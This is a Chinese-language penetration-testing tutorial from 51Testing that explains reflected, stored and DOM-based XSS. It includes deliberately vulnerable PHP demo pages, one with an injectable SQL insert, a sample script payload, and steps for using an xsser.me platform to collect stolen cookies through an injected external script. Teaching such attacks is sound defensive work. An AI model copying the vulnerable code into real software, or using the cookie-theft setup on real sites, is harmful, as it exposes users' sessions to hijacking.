渗透测试XSS前端漏洞

发表于:2017-11-20 14:38

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:redBu11    来源:51Testing软件测试网采编

  前言
  这是渗透测试方面的第一课,我们跳过了社工技术的讲解,在之前的课程讲解中已经为大家介绍了社工技术的基本方法,对于社工,我们要做的就是足够细心和耐心,尽可能的收集可利用的信息,说起来很简单,但真正落到实际操作上就需要大家付出大量的时间和精力了。
  前端漏洞
  随着WEB应用越来越复杂,用户对WEB安全也越来越重视。再加上前端工程师的工作面已逐渐扩大,开始覆盖到各种业务逻辑,因此如何应对各种WEB安全问题就显得十分重要。现在危害比较大的前端漏洞主要有xss跨站脚本漏洞,csrf跨站请求伪造漏洞,网上大量的前端攻击行为都是基于这两种漏洞上形成的。今天我们就来介绍下xss漏洞。
  xss跨站脚本漏洞
  非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
  持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
  xss也可以分成三类:
  反射型:经过后端,不经过数据库
  存储型:经过后端,经过数据库
  DOM型:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
  反射型xss
  新建一个xss.php文件并加入以下代码:
  这段代码中首先包含一个表单,用于向页面自己发送GET请求,带一个名为xss的参数。 然后PHP会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果xss中存在HTML结构性的内容,打印之后会直接解释为HTML元素。
  部署好这个文件,访问http://localhost/xss.php,直接输入一个js代码,比如<script>alert('hack')</script>
  之后点击test:
  我们输入的HTML代码被执行了。用Firebug查看,我们输出的内容直接插入到了页面中,解释为<script>标签。
  反射型XSS的数据流向是:浏览器 -> 后端 -> 浏览器。
  存储型xss
  把xss.php内容改为下述内容(同时数据库中需要配置相应的表):
  php \\存储XSS演示 <form action="" method="post"> <input type="text" name="xss"/> <input type="submit" value="test"/> </form> <?php $xss=@$_POST['xss']; mysql_connect("localhost","root","123"); mysql_select_db("xss"); if($xss!==null){ $sql="insert into temp(id,payload) values('1','$xss')"; $result=mysql_query($sql); echo $result; } ?>
  用户输入的内容还是没有过滤,但是不直接显示在页面中,而是插入到了数据库。
  新建show.php,内容为:
  php <?php mysql_connect("localhost","root","root"); mysql_select_db("xss"); $sql="select payload from temp where id=1"; $result=mysql_query($sql); while($row=mysql_fetch_array($result)){ echo $row['payload']; } ?>
  该代码从数据库读取了之前插入的内容,并将其显示出来。
  先创建一个数据库xss,创建temp表
  然后访问xss.php,像之前一样输入HTML代码

  点击test,点击之后却发现没有任何动静,但事实上,我们的数据已经插入到了数据库中。
  当我们访问show.php查询这个值的时候,代码就会被执行。
  存储型XSS的执行位置通常不同于输入位置。我们可以看出,存储行XSS的数据流向是: 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
  DOM型xss
  把xss.php内容改为
  php <?php error_reporting(0); //禁用错误报告 $name = $_GET["name"]; ?> <input id="text" type="text" value="<?php echo $name;?>" /> <div id="print"></div> <script type="text/javascript"> var text = document.getElementById("text"); var print = document.getElementById("print"); print.innerHTML = text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。 </script>
  DOM-XSS 的数据流向是:URL -->浏览器
  总结
  在易用上,存储型XSS > DOM - XSS > 反射型 XSS。
  注:反射型xss和dom-xss都需要在数据包中加入js代码才能够触发。
  漏洞利用
  通过 XSS 来获得用户 Cookie 或其他有用信息,利用平台负责接收并保存这些信息。XSS利用平台有很多种如XSS Shell, BeEF, Anehta, CAL9000。
  进入搭建好的xsser.me平台首页输入用户名与密码进行登录
  成功之后会显示主界面,左边是模块列表,右边是项目列表:
  我们点击左边“我的项目”旁边的“创建”按钮:
  名称和描述可以随便取,不影响使用。输入时候点击“下一步”按钮。之后会出现“配置代码”界面:
  1
  点击下一步、就会看到这个项目的一些信息

  点击完成。然后我们会在首页看到我们的新项目,点击这个项目:
  之后点击项目,进入一个页面再点击右上方的查看代码
  就可以看到使用方法:
  下面就演示下怎么利用
  把<script src="..."></script>注入到反射型 XSS 的演示页面中。
  上面的src="xxxx"是我另外创建的一个项目的地址,把你创建好的那个项目,提供的那个地址放进去,就可以了,虽然这个页面没反应,但是xsser.me那个项目就收到消息了。

21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号